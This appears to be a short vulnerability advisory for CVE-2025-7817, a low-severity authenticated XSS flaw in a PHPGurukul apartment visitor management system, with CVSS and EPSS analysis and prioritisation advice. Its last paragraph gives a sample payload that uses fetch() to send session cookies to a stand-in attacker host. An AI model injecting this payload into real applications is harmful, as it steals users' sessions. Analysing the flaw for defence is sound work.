PHPGurukul Apartment Visitors Management System CVE-2025-7817

Exploitation requires: (1) valid authenticated credentials to access the application (PR:L), (2) the victim user must click or interact with attacker-supplied link or form submission (UI:P), and (3) the /bwdates-reports.php endpoint must be accessible and process the visname parameter without sanitization. The vulnerability is limited to authenticated sessions; pre-authentication exploitation is not possible. No special product configuration is required beyond standard installation.

CVSS v4.0 score of 2.0 reflects low severity: network-accessible (AV:N) but requires authentication (PR:L), user interaction (UI:P), and only causes integrity impact to the victim's session (VI:L). EPSS at 0.05% (16th percentile) is significantly lower than CVSS severity would suggest, indicating minimal real-world adoption or attacker interest. The E:P (Exploit Proof of Concept) field confirms public POC availability, but the extreme mismatch between CVSS and EPSS suggests this affects a niche product with limited attack surface in practice. The vulnerability requires an authenticated user and victim interaction, substantially limiting exploitation scope compared to pre-authentication flaws. Risk prioritization: defer this below network-accessible, pre-auth vulnerabilities unless the organization directly operates this specific apartment management system.

An authenticated user (e.g., staff member) crafts a malicious URL or form submission containing JavaScript in the visname parameter, such as visname=<script>fetch('https://attacker.com/?cookie='+document.cookie)</script>. When a victim (another authenticated user) visits the crafted link or submits the form, the injected script executes in their browser context, potentially stealing session cookies, redirecting to phishing pages, or modifying visitor records within their session.